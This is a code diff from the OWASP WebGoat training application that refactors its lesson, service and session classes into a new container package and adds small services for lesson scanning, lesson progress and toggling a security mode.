+     * @return a {@link org.owasp.webgoat.container.lessons.Category} object.
      */
     protected abstract Category getDefaultCategory();
 
@@ -122,4 +121,16 @@ public abstract class Lesson {
     public final String getId() {
         return this.getClass().getSimpleName();
     }
+
+    public final String getPackage() {
+        var packageName = this.getClass().getPackageName();
+        //package name is the direct package name below lessons (any subpackage will be removed)
+        return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", "");
+
+
+
+    }
+
+
+
 }

src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java

@@ -1,6 +1,7 @@
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
-import org.owasp.webgoat.users.WebGoatUser;
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.security.core.context.SecurityContextHolder;
 
 import java.lang.reflect.InvocationHandler;
@@ -12,6 +13,7 @@ import java.sql.Connection;
  * Handler which sets the correct schema for the currently bounded user. This way users are not seeing each other
  * data and we can reset data for just one particular user.
  */
+@Slf4j
 public class LessonConnectionInvocationHandler implements InvocationHandler {
 
     private final Connection targetConnection;
@@ -23,9 +25,10 @@ public class LessonConnectionInvocationHandler implements InvocationHandler {
     @Override
     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
         var authentication = SecurityContextHolder.getContext().getAuthentication();
-        if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
+        if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) {
-            var user = (WebGoatUser) authentication.getPrincipal();
+            try (var statement = targetConnection.createStatement()) {
-            targetConnection.createStatement().execute("SET SCHEMA \"" + user.getUsername() + "\"");
+                statement.execute("SET SCHEMA \"" + user.getUsername() + "\"");
+            }
         }
         try {
             return method.invoke(targetConnection, args);

src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java

@@ -1,4 +1,4 @@
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import lombok.AllArgsConstructor;
 import lombok.Getter;

src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java

@@ -27,7 +27,7 @@
  * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -42,7 +42,7 @@ public class LessonMenuItem {
 
     private String name;
     private LessonMenuItemType type;
-    private List<LessonMenuItem> children = new ArrayList<LessonMenuItem>();
+    private List<LessonMenuItem> children = new ArrayList<>();
     private boolean complete;
     private String link;
     private int ranking;

src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java

@@ -25,7 +25,7 @@
  * 
  */
 
-package org.owasp.webgoat.lessons;
+package org.owasp.webgoat.container.lessons;
 
 /**
  * <p>LessonMenuItemType class.</p>

src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java

@@ -0,0 +1,46 @@
+package org.owasp.webgoat.container.lessons;
+
+import lombok.Getter;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.stereotype.Component;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.regex.Pattern;
+
+@Component
+@Slf4j
+public class LessonScanner {
+
+    private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
+
+    @Getter
+    private final Set<String> lessons = new HashSet<>();
+
+    public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
+        try {
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
+            for (var resource : resources) {
+                //WG can run as a fat jar or as directly from file system we need to support both so use the URL
+                var url = resource.getURL();
+                var matcher = lessonPattern.matcher(url.toString());
+                if (matcher.matches()) {
+                    lessons.add(matcher.group(1));
+                }
+            }
+            log.debug("Found {} lessons", lessons.size());
+        } catch (IOException e) {
+            log.warn("No lessons found...");
+        }
+
+    }
+
+    public List<String> applyPattern(String pattern) {
+        return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
+    }
+}

src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java

@@ -0,0 +1,19 @@
+package org.owasp.webgoat.container.service;
+
+import lombok.RequiredArgsConstructor;
+import org.springframework.context.ApplicationContext;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController("/environment")
+@RequiredArgsConstructor
+public class EnvironmentService {
+
+    private final ApplicationContext context;
+
+    @GetMapping("/server-directory")
+    public String homeDirectory() {
+        return context.getEnvironment().getProperty("webgoat.server.directory");
+    }
+
+}

src/main/java/org/owasp/webgoat/container/service/HintService.java

@@ -4,20 +4,19 @@
  * and open the template in the editor.
  */
 
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
-import org.owasp.webgoat.lessons.Assignment;
+import org.owasp.webgoat.container.lessons.Assignment;
-import org.owasp.webgoat.lessons.Hint;
+import org.owasp.webgoat.container.lessons.Hint;
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
 
+import java.util.Collection;
 import java.util.List;
 
-import static java.util.stream.Collectors.toList;
-
 /**
  * <p>HintService class.</p>
  *
@@ -49,14 +48,14 @@ public class HintService {
     private List<Hint> createAssignmentHints(Lesson l) {
         if (l != null) {
             return l.getAssignments().stream()
-                    .map(a -> createHint(a))
+                    .map(this::createHint)
-                    .flatMap(hints -> hints.stream())
+                    .flatMap(Collection::stream)
-                    .collect(toList());
+                    .toList();
         }
         return List.of();
     }
 
     private List<Hint> createHint(Assignment a) {
-        return a.getHints().stream().map(h -> new Hint(h, a.getPath())).collect(toList());
+        return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList();
     }
 }

src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java

@@ -27,11 +27,11 @@
  * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
-import org.owasp.webgoat.session.LabelDebugger;
+import org.owasp.webgoat.container.session.LabelDebugger;
 import org.springframework.http.HttpStatus;
 import org.springframework.http.MediaType;
 import org.springframework.http.ResponseEntity;
@@ -40,7 +40,6 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 
-import java.util.HashMap;
 import java.util.Map;
 
 /**
@@ -75,13 +74,13 @@ public class LabelDebugService {
 
     /**
      * Sets the enabled flag on the label debugger to the given parameter
-     * @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
+     *
-     * @throws Exception unhandled exception
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
      * @return a {@link org.springframework.http.ResponseEntity} object.
      */
     @RequestMapping(value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED)
     public @ResponseBody
-    ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) throws Exception {
+    ResponseEntity<Map<String, Object>> setDebuggingStatus(@RequestParam("enabled") Boolean enabled) {
         log.debug("Setting label debugging to {} ", labelDebugger.isEnabled());
         Map<String, Object> result = createResponse(enabled);
         labelDebugger.setEnabled(enabled);
@@ -89,13 +88,10 @@ public class LabelDebugService {
     }
 
     /**
-     * @param enabled {@link org.owasp.webgoat.session.LabelDebugger} object
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
      * @return a {@link java.util.Map} object.
      */
     private Map<String, Object> createResponse(Boolean enabled) {
-        Map<String, Object> result = new HashMap<String, Object>();
+        return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled);
-        result.put(KEY_SUCCESS, Boolean.TRUE);
-        result.put(KEY_ENABLED, enabled);
-        return result;
     }
 }

src/main/java/org/owasp/webgoat/container/service/LabelService.java

@@ -27,25 +27,19 @@
  * for free software projects.
  */
 
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
-import lombok.AllArgsConstructor;
+import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
-import org.owasp.webgoat.i18n.Messages;
+import org.owasp.webgoat.container.i18n.Messages;
-import org.owasp.webgoat.i18n.PluginMessages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
 import org.springframework.http.HttpStatus;
 import org.springframework.http.MediaType;
 import org.springframework.http.ResponseEntity;
-import org.springframework.util.StringUtils;
 import org.springframework.web.bind.annotation.GetMapping;
-import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;
-import org.springframework.web.servlet.LocaleResolver;
-import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 
-import javax.servlet.http.HttpServletRequest;
-import java.util.Locale;
 import java.util.Properties;
 
 
@@ -56,35 +50,20 @@ import java.util.Properties;
  */
 @RestController
 @Slf4j
-@AllArgsConstructor
+@RequiredArgsConstructor
 public class LabelService {
 
     public static final String URL_LABELS_MVC = "/service/labels.mvc";
-    private LocaleResolver localeResolver;
+    private final Messages messages;
-    private Messages messages;
+    private final PluginMessages pluginMessages;
-    private PluginMessages pluginMessages;
 
     /**
-     * We use Springs session locale resolver which also gives us the option to change the local later on. For
+     * @return a map of all the labels
-     * now it uses the accept-language from the HttpRequest. If this language is not found it will default back
-     * to messages.properties.
-     * <p>
-     * Note although it is possible to use Spring language interceptor we for now opt for this solution, the UI
-     * will always need to fetch the labels with the new language set by the user. So we don't need to intercept each
-     * and every request to see if the language param has been set in the request.
-     *
-     * @param lang the language to fetch labels for (optional)
-     * @return a map of labels
      */
     @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE)
     @ResponseBody
-    public ResponseEntity<Properties> fetchLabels(@RequestParam(value = "lang", required = false) String lang) {
+    public ResponseEntity<Properties> fetchLabels() {
-        if (!StringUtils.isEmpty(lang)) {
+        var allProperties = new Properties();
-            Locale locale = Locale.forLanguageTag(lang);
-            ((SessionLocaleResolver) localeResolver).setDefaultLocale(locale);
-            log.debug("Language provided: {} leads to Locale: {}", lang, locale);
-        }
-        Properties allProperties = new Properties();
         allProperties.putAll(messages.getMessages());
         allProperties.putAll(pluginMessages.getMessages());
         return new ResponseEntity<>(allProperties, HttpStatus.OK);

src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java

@@ -1,9 +1,9 @@
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
 import lombok.AllArgsConstructor;
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.lessons.LessonInfoModel;
+import org.owasp.webgoat.container.lessons.LessonInfoModel;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.bind.annotation.RestController;

src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java

@@ -27,19 +27,19 @@
  * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
 import lombok.AllArgsConstructor;
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Assignment;
-import org.owasp.webgoat.lessons.Assignment;
+import org.owasp.webgoat.container.lessons.Category;
-import org.owasp.webgoat.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.lessons.LessonMenuItem;
+import org.owasp.webgoat.container.lessons.LessonMenuItem;
-import org.owasp.webgoat.lessons.LessonMenuItemType;
+import org.owasp.webgoat.container.lessons.LessonMenuItemType;
-import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.users.LessonTracker;
+import org.owasp.webgoat.container.users.LessonTracker;
-import org.owasp.webgoat.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.users.UserTrackerRepository;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
@@ -49,7 +49,6 @@ import java.util.ArrayList;
 import java.util.Comparator;
 import java.util.List;
 import java.util.Map;
-import java.util.stream.Collectors;
 
 /**
  * <p>LessonMenuService class.</p>
@@ -94,7 +93,7 @@ public class LessonMenuService {
             categoryItem.setType(LessonMenuItemType.CATEGORY);
             // check for any lessons for this category
             List<Lesson> lessons = course.getLessons(category);
-            lessons = lessons.stream().sorted(Comparator.comparing(l -> l.getTitle())).collect(Collectors.toList());
+            lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList();
             for (Lesson lesson : lessons) {
                 if (excludeLessons.contains(lesson.getName())) {
                     continue;
@@ -119,7 +118,7 @@ public class LessonMenuService {
         boolean result = true;
         for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
             Assignment storedAssignment = entry.getKey();
-            	for (Assignment lessonAssignment: currentLesson.getAssignments()) {
+            for (Assignment lessonAssignment : currentLesson.getAssignments()) {
                 if (lessonAssignment.getName().equals(storedAssignment.getName())) {
                     result = result && entry.getValue();
                     break;

src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java

@@ -0,0 +1,59 @@
+package org.owasp.webgoat.container.service;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.lessons.Assignment;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.util.List;
+
+
+/**
+ * <p>LessonProgressService class.</p>
+ *
+ * @author webgoat
+ */
+@Controller
+@RequiredArgsConstructor
+public class LessonProgressService {
+
+    private final UserTrackerRepository userTrackerRepository;
+    private final WebSession webSession;
+
+    /**
+     * Endpoint for fetching the complete lesson overview which informs the user about whether all the assignments are solved.
+     * Used as the last page of the lesson to generate a lesson overview.
+     *
+     * @return list of assignments
+     */
+    @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
+    @ResponseBody
+    public List<LessonOverview> lessonOverview() {
+        var userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        var currentLesson = webSession.getCurrentLesson();
+
+        if (currentLesson != null) {
+            var lessonTracker = userTracker.getLessonTracker(currentLesson);
+            return lessonTracker.getLessonOverview().entrySet().stream()
+                    .map(entry -> new LessonOverview(entry.getKey(), entry.getValue()))
+                    .toList();
+        }
+        return List.of();
+    }
+
+    @AllArgsConstructor
+    @Getter
+    //Jackson does not really like returning a map of <Assignment, Boolean> directly, see http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json
+    //so creating intermediate object is the easiest solution
+    private static class LessonOverview {
+
+        private Assignment assignment;
+        private Boolean solved;
+
+    }
+}

src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java

@@ -1,7 +1,7 @@
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseBody;

src/main/java/org/owasp/webgoat/container/service/ReportCardService.java

@@ -27,18 +27,18 @@
  * https://github.com/WebGoat/WebGoat, a repository for free software projects.
  */
 
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
 import lombok.AllArgsConstructor;
 import lombok.Getter;
 import lombok.Setter;
-import org.owasp.webgoat.i18n.PluginMessages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.session.Course;
+import org.owasp.webgoat.container.session.Course;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.users.LessonTracker;
+import org.owasp.webgoat.container.users.LessonTracker;
-import org.owasp.webgoat.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTracker;
-import org.owasp.webgoat.users.UserTrackerRepository;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.ResponseBody;

src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java

@@ -22,20 +22,22 @@
  * projects.
  */
 
-package org.owasp.webgoat.service;
+package org.owasp.webgoat.container.service;
 
 import lombok.AllArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Initializeable;
-import org.owasp.webgoat.session.WebSession;
+import org.owasp.webgoat.container.lessons.Lesson;
-import org.owasp.webgoat.users.UserTracker;
+import org.owasp.webgoat.container.session.WebSession;
-import org.owasp.webgoat.users.UserTrackerRepository;
+import org.owasp.webgoat.container.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
 import org.springframework.http.HttpStatus;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.ResponseStatus;
 
+import java.util.List;
 import java.util.function.Function;
 
 @Controller
@@ -46,6 +48,7 @@ public class RestartLessonService {
     private final WebSession webSession;
     private final UserTrackerRepository userTrackerRepository;
     private final Function<String, Flyway> flywayLessons;
+    private final List<Initializeable> lessonsToInitialize;
 
     @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
     @ResponseStatus(value = HttpStatus.OK)
@@ -60,5 +63,7 @@ public class RestartLessonService {
         var flyway = flywayLessons.apply(webSession.getUserName());
         flyway.clean();
         flyway.migrate();
+
+        lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));
     }
 }

src/main/java/org/owasp/webgoat/container/service/SessionService.java

@@ -0,0 +1,33 @@
+/*
+ * To change this license header, choose License Headers in Project Properties.
+ * To change this template file, choose Tools | Templates
+ * and open the template in the editor.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.i18n.Messages;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+@Controller
+@RequiredArgsConstructor
+public class SessionService {
+
+    private final WebSession webSession;
+    private final RestartLessonService restartLessonService;
+    private final Messages messages;
+
+    @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
+    @ResponseBody
+    public String applySecurity() {
+        webSession.toggleSecurity();
+        restartLessonService.restartLesson();
+
+        var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
+        return messages.getMessage(msg);
+    }
+}

src/main/java/org/owasp/webgoat/container/session/Course.java

@@ -1,13 +1,11 @@
-package org.owasp.webgoat.session;
+package org.owasp.webgoat.container.session;
 
 import lombok.extern.slf4j.Slf4j;
-import org.owasp.webgoat.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Category;
-import org.owasp.webgoat.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
 
 import java.util.List;
 
-import static java.util.stream.Collectors.toList;
-
 /**
  * ************************************************************************************************
  * <p>
@@ -41,9 +39,9 @@ import static java.util.stream.Collectors.toList;
 @Slf4j
 public class Course {
 
-    private List<? extends Lesson> lessons;
+    private List<Lesson> lessons;
 
-    public Course(List<? extends Lesson> lessons) {
+    public Course(List<Lesson> lessons) {
         this.lessons = lessons;
     }
 
@@ -53,7 +51,7 @@ public class Course {
      * @return The categories value
      */
     public List<Category> getCategories() {
-        return lessons.parallelStream().map(l -> l.getCategory()).distinct().sorted().collect(toList());
+        return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList();
     }
 
     /**
@@ -72,18 +70,18 @@ public class Course {
      *
      * @return a {@link java.util.List} object.
      */
-    public List<? extends Lesson> getLessons() {
+    public List<Lesson> getLessons() {
         return this.lessons;
     }
 
     /**
      * <p>Getter for the field <code>lessons</code>.</p>
      *
-     * @param category a {@link org.owasp.webgoat.lessons.Category} object.
+     * @param category a {@link org.owasp.webgoat.container.lessons.Category} object.
      * @return a {@link java.util.List} object.
      */
     public List<Lesson> getLessons(Category category) {
-        return this.lessons.stream().filter(l -> l.getCategory() == category).collect(toList());
+        return this.lessons.stream().filter(l -> l.getCategory() == category).toList();
     }
 
     public void setLessons(List<Lesson> lessons) {